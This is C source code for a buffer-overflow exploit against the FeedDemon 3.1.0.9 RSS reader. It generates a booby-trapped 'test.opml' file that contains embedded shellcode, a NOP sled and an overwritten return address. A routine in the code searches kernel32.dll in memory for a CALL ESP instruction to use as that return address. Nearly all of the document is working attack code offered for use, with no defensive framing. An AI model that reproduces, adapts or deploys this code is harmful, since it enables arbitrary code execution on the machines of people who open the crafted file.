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/*Download latest vuln app :http://www.newsgator.com/Individuals/FeedDemon/Default.aspx This exploit identifies your OS and searches in memory for a RETCODE thus working 100%.*/ #include<stdio.h> #include<string.h> #include<getopt.h> #include<windows.h> void banner(); void exploit(char*); void print(char*); unsigned int getFsize(FILE*,char*); int cpy(char*,char*); void gen_random(char*,const int); DWORD FindRetToEspAddress(VOID); DWORD SearchStream(const char*,size_t,const char*,size_t); DWORD GetNtosDelta (VOID); DWORD GetOSVersion (VOID); #define VULNF "test.opml" #define VER "3.1.0.9" #define POCNAME "feedDemon opml file buffer overflow exploit" #define AUTHOR"fl0 fl0w" #define IF(x,NULL)if(x==NULL) #define FOR(i,a,b)for(i=a;i<b;++i) #define NOPS8006 #define FREE(x) (free(x),x=NULL) #define NUL '\0' #define START { #define END } #define MYSZsize_t #define ALLOC(i,k)malloc((MYSZ)(i)*(MYSZ)(k)) #define WXP_DELTA 0xA67FF; // SP2 Fully patched!! #define W2K_DELTA 0x0; #define W2K3_DELTA 0x0; #define WVISTA_DELTA 0x0; #define EIPOFFSET 168 #define EIPNOPOFFS8174 typedef unsigned char BYTE; //8 bits typedef unsigned short WORD; //2 bytes=16 bits typedef unsigned long DWORD; //4 bytes=32 bits typedef unsigned long long QWORD; //8 bytes=64bits DWORDg_dwOsVersion= 0; LPVOID g_PatchAddress = NULL; typedef BOOL (WINAPI *PENUMDEVICES)(LPVOID*, DWORD , LPDWORD); typedef DWORD (WINAPI *PGETDEVNAME)(LPVOID ImageBase, char*lpBaseName, DWORD nSize); typedef DWORD (WINAPI* PQUERYSYSTEM)(UINT, PVOID, DWORD,PDWORD); typedef enum { Error = -1, True, False=0, success, }Boolean; enum OSes { OS_WXP=1, OS_W2K, OS_W2K3, OS_VISTA }; char shellcode[]={ "\x31\xC9\x83\xE9\xDE\xD9\xEE\xD9\x74\x24\xF4\x5B\x81\x73\x13\xEC" // 204 bytes "\x2D\x36\x5E\x83\xEB\xFC\xE2\xF4\x10\xC5\x72\x5E\xEC\x2D\xBD" "\x1B\xD0\xA6\x4A\x5B\x94\x2C\xD9\xD5\xA3\x35\xBD\x1\xCC\x2C" "\xDD\x17\x67\x19\xBD\x5F\x2\x1C\xF6\xC7\x40\xA9\xF6\x2A\xEB" "\xEC\xFC\x53\xED\xEF\xDD\xAA\xD7\x79\x12\x5A\x99\xC8\xBD\x1" "\xC8\x2C\xDD\x38\x67\x21\x7D\xD5\xB3\x31\x37\xB5\x67\x31\xBD" "\x5F\x7\xA4\x6A\x7A\xE8\xEE\x7\x9E\x88\xA6\x76\x6E\x69\xED" "\x4E\x52\x67\x6D\x3A\xD5\x9C\x31\x9B\xD5\x84\x25\xDD\x57\x67" "\xAD\x86\x5E\xEC\x2D\xBD\x36\xD0\x72\x7\xA8\x8C\x7B\xBF\xA6" "\x6F\xED\x4D\xE\x84\xDD\xBC\x5A\xB3\x45\xAE\xA0\x66\x23\x61" "\xA1\xB\x4E\x57\x32\x8F\x2D\x36\x5E\x90\x90\x90\x90\x90\x90" "\x90\x90" "\x41\x41\x41\x41"// "\xED\x1E\x94\x7C" -1 EIP offset 8368 from the beggining of the file or 168bytes from the start of shellcode buffer "\x90\x90\x90\x90\x90\x90\x90\x90\x90"//nopsleed "\x90\x90\x90\x90\x90\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD" "\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4"}; char header[]= { 0xFF, 0xFE, 0x3C, 0x00, 0x6F, 0x00, 0x70, 0x00, 0x6D, 0x00, 0x6C, 0x00, 0x20, 0x00, 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x3D, 0x00, 0x22, 0x00, 0x31, 0x00, 0x2E, 0x00, 0x31, 0x00, 0x22, 0x00, 0x3E, 0x00, 0x3C, 0x00, 0x62, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x79, 0x00, 0x3E, 0x00, 0x3C, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x74, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x20, 0x00, 0x74, 0x00, 0x65, 0x00, 0x78, 0x00, 0x74, 0x00, //83 bytes 0x3D, 0x00, 0x22, 0x00 }; char tail[]= { 0x22, 0x00, 0x3E, 0x00, 0x3C, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x74, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x20, 0x00, 0x74, 0x00, 0x65, 0x00, 0x78, 0x00, 0x74, 0x00, 0x3D, 0x00, 0x22, 0x00, 0x42, 0x00, 0x4B, 0x00, 0x49, 0x00, 0x53, 0x00, 0x22, 0x00, 0x20, 0x00, 0x74, 0x00, 0x69, 0x00, 0x74, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x3D, 0x00, 0x22, 0x00, 0x53, 0x00, 0x56, 0x00, 0x52, 0x00, 0x54, 0x00, 0x22, 0x00, 0x20, 0x00, 0x74, 0x00, 0x79, 0x00, 0x70, 0x00, 0x65, 0x00, 0x3D, 0x00, 0x22, 0x00, 0x72, 0x00, 0x73, 0x00, 0x73, 0x00, 0x22, 0x00, 0x20, 0x00, 0x78, 0x00, 0x6D, 0x00, 0x6C, 0x00, 0x55, 0x00, 0x72, 0x00, 0x6C, 0x00, 0x3D, 0x00, 0x22, 0x00, 0x68, 0x00, 0x74, 0x00, 0x74, 0x00, 0x70, 0x00, 0x3A, 0x00, 0x2F, 0x00, 0x2F, 0x00, 0x6D, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x77, 0x00, 0x30, 0x00, 0x72, 0x00, 0x6D, 0x00, 0x2E, 0x00, 0x63, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x2F, 0x00, 0x72, 0x00, 0x73, 0x00, 0x73, 0x00, 0x2E, 0x00, 0x70, 0x00, 0x68, 0x00, 0x70, 0x00, 0x22, 0x00, 0x2F, 0x00, 0x3E, 0x00, 0x3C, 0x00, 0x2F, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x74, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x3E, 0x00, 0x3C, 0x00, 0x2F, 0x00, 0x62, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x79, 0x00, 0x3E, 0x00, 0x3C, 0x00, 0x2F, 0x00, 0x6F, 0x00, 0x70, 0x00, 0x6D, 0x00, 0x6C, 0x00, 0x3E, 0x00, } ; char buffer[10000000]; char eip2[]="\x8B\xDC\x67\x02"; char jmpreg[]="\x89\xCC\xFF\xE4";// offset 8290 bytes // char endp[]=; unsigned char nop=0x90; signed int c; int x; DWORD eip; int main(){ //if(argc>2) //while(c=getopt()!=EOF) ...... //else // os(ret); banner(); exploit(VULNF); GetNtosDelta(); printf("[!]Your Retcode is: 0x%X\n",eip); print("Done!"); printf("File is : %d bytes",x); //printf("%d",strlen(shellcode)); getchar(); return 0; } void exploit(char* fname){ FILE* f=fopen(fname,"wb"); if(f) { memset(buffer,0x90,NOPS); eip=FindRetToEspAddress(); memcpy(shellcode+EIPOFFSET,&eip,4); fwrite(header,sizeof(char),84,f); fwrite(buffer,sizeof(char),NOPS,f); fwrite(shellcode,sizeof(char),204,f); fwrite(tail,sizeof(char),216,f); fclose(f); free(buffer); } else {print("error writing file"); exit(0);} x=getFsize(f,VULNF); } void banner(){printf("[*]%s\n[*]Ver %s\n[*]Author %s\n",POCNAME,VER,AUTHOR); } void gen_random(char *s, const int len) { int i; //helps u find the offsets static const char alphanum[] ="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; FOR(i,0,len) { s[i]=alphanum[rand()%(sizeof(alphanum)-1)]; } s[len]=0; } unsigned int getFsize(FILE* g,char* gname) { unsigned int s; g=fopen(gname,"rb"); IF(g,NULL) { print("File error at reading"); exit(0); } fseek(g,0,SEEK_END); s=ftell(g); return s; } int cpy(char* source,char* dest) { int len; len=strlen(source); memcpy(dest,&source,len+1); return len; } void print(char* msg) { printf("[*]%s\n",msg); } DWORD GetOSVersion (VOID) { OSVERSIONINFOAosvi; DWORD retval = 0; osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOA); if ( GetVersionExA(&osvi) ) { if (osvi.dwMajorVersion == 5) { switch(osvi.dwMinorVersion) { case 0: retval = OS_W2K; break; case 1: retval = OS_WXP; break; case 2: retval = OS_W2K3; break; } } else if (osvi.dwMajorVersion == 6) { retval = OS_VISTA; } } g_dwOsVersion = retval; return retval; } DWORD GetNtosDelta (VOID) { DWORD retval = 0; switch(GetOSVersion()) { case OS_VISTA: print("System identified as Windows Vista\n"); retval = WVISTA_DELTA; break; case OS_W2K: print("System identified as Windows 2000\n"); retval = W2K_DELTA; break; case OS_W2K3: print("System identified as Windows 2003\n"); retval = W2K3_DELTA; break; case OS_WXP: print("System identified as Windows XP\n"); retval = WXP_DELTA; break; default: print("Unidentified system!\n"); } return retval; } DWORD SearchStream( const char *pvStream, size_t uStreamSize, const char *pvSubStream, size_t uSubStreamSize ) { unsigned int uCount = 0,i,j; while( (uStreamSize) > (uCount) ) { for(i=0;i<=(uSubStreamSize-1);i++) { if(*pvStream != pvSubStream[i]) { *pvStream++; if( i>0 ) { for(j=0;j<i;j++) *pvStream--; } break; } if( i == (uSubStreamSize-1) ) return (uCount); *pvStream++; } uCount++; } return -1; } DWORD FindRetToEspAddress(VOID) { HMODULE hModule = GetModuleHandle("kernel32.dll"); DWORD dwEspRet; char* pszCallEsp = "\xFF\xD4"; // CALL ESP PIMAGE_DOS_HEADER pimage_dos_header; PIMAGE_NT_HEADERS pimage_nt_headers; pimage_dos_header = (PIMAGE_DOS_HEADER)hModule; pimage_nt_headers = (PIMAGE_NT_HEADERS)((DWORD)hModule+pimage_dos_header->e_lfanew); dwEspRet = SearchStream((char*)hModule,pimage_nt_headers->OptionalHeader.SizeOfImage,pszCallEsp,sizeof(WORD)); return (dwEspRet += (DWORD)hModule); } |
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